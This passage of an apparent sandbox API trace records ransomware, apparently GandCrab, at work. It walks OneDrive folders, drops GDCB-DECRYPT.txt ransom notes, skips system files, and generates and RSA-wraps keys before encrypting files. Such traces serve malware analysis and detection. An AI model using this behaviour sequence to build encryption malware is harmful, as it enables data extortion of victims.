data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\it\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.841] GetLastError () returned 0x3 [0171.841] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.841] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.841] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.841] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.841] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\ja\\\\GDCB-DECRYPT.txt") returned 277 [0171.841] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626\\ja\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626\\ja\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.841] GetLastError () returned 0x3 [0171.841] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.842] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.842] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.842] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.842] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\\\GDCB-DECRYPT.txt") returned 276 [0171.842] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.842] GetLastError () returned 0x3 [0171.842] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.842] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.842] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.842] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.869] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\\\GDCB-DECRYPT.txt") returned 274 [0171.869] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.869] GetLastError () returned 0x3 [0171.870] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\adal.dll") returned 265 [0171.870] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\adal.dll") returned 265 [0171.870] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.870] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.870] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.870] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.870] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\af\\\\GDCB-DECRYPT.txt") returned 277 [0171.870] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\af\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\af\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.870] GetLastError () returned 0x3 [0171.870] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\alertIcon.png") returned 270 [0171.870] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\alertIcon.png") returned 270 [0171.870] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\alertIcon.png") returned 270 [0171.870] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\alertIcon.png") returned 270 [0171.870] lstrcmpiW (lpString1="alertIcon.png", lpString2="desktop.ini") returned -1 [0171.871] lstrcmpiW (lpString1="alertIcon.png", lpString2="autorun.inf") returned -1 [0171.871] lstrcmpiW (lpString1="alertIcon.png", lpString2="ntuser.dat") returned -1 [0171.871] lstrcmpiW (lpString1="alertIcon.png", lpString2="iconcache.db") returned -1 [0171.871] lstrcmpiW (lpString1="alertIcon.png", lpString2="bootsect.bak") returned -1 [0171.871] lstrcmpiW (lpString1="alertIcon.png", lpString2="boot.ini") returned -1 [0171.871] lstrcmpiW (lpString1="alertIcon.png", lpString2="ntuser.dat.log") returned -1 [0171.871] lstrcmpiW (lpString1="alertIcon.png", lpString2="thumbs.db") returned -1 [0171.871] lstrcmpiW (lpString1="alertIcon.png", lpString2="GDCB-DECRYPT.txt") returned -1 [0171.871] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\alertIcon.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\alerticon.png")) returned 0xffffffff [0171.871] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\alertIcon.png", dwFileAttributes=0xfffffffe) returned 0 [0171.872] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.872] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.873] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.873] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.873] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.873] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0171.873] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.873] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.873] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.873] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.874] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0171.876] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6361d8) returned 1 [0171.876] CryptGetKeyParam (in: hKey=0x6361d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.876] CryptEncrypt (in: hKey=0x6361d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ef0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2ef0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.876] GetLastError () returned 0x0 [0171.876] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.876] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.878] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x635e18) returned 1 [0171.878] CryptGetKeyParam (in: hKey=0x635e18, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.878] CryptEncrypt (in: hKey=0x635e18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f00000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2f00000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.878] GetLastError () returned 0x0 [0171.878] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.878] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\alertIcon.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\alerticon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.878] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.878] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.878] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.878] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.878] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\am-et\\\\GDCB-DECRYPT.txt") returned 280 [0171.879] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\am-et\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\am-et\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.879] GetLastError () returned 0x3 [0171.879] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.879] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.879] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.879] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.879] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\amd64\\\\GDCB-DECRYPT.txt") returned 280 [0171.879] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\amd64\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\amd64\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.879] GetLastError () returned 0x3 [0171.879] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-console-l1-1-0.dll") returned 291 [0171.879] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-console-l1-1-0.dll") returned 291 [0171.879] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-datetime-l1-1-0.dll") returned 292 [0171.879] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-datetime-l1-1-0.dll") returned 292 [0171.879] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-debug-l1-1-0.dll") returned 289 [0171.879] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-debug-l1-1-0.dll") returned 289 [0171.879] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-errorhandling-l1-1-0.dll") returned 297 [0171.879] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-errorhandling-l1-1-0.dll") returned 297 [0171.879] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-file-l1-1-0.dll") returned 288 [0171.879] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-file-l1-1-0.dll") returned 288 [0171.879] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-file-l1-2-0.dll") returned 288 [0171.879] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-file-l1-2-0.dll") returned 288 [0171.879] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-file-l2-1-0.dll") returned 288 [0171.879] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-file-l2-1-0.dll") returned 288 [0171.880] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-handle-l1-1-0.dll") returned 290 [0171.880] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-handle-l1-1-0.dll") returned 290 [0171.880] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-heap-l1-1-0.dll") returned 288 [0171.880] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-heap-l1-1-0.dll") returned 288 [0171.880] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-interlocked-l1-1-0.dll") returned 295 [0171.880] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-interlocked-l1-1-0.dll") returned 295 [0171.880] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-libraryloader-l1-1-0.dll") returned 297 [0171.880] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-libraryloader-l1-1-0.dll") returned 297 [0171.880] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-localization-l1-2-0.dll") returned 296 [0171.880] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-localization-l1-2-0.dll") returned 296 [0171.880] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-memory-l1-1-0.dll") returned 290 [0171.880] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-memory-l1-1-0.dll") returned 290 [0171.880] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-namedpipe-l1-1-0.dll") returned 293 [0171.880] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-namedpipe-l1-1-0.dll") returned 293 [0171.880] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\api-ms-win-core-processenvironment-l1-1-0.dll") returned 302 [0171.880] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application 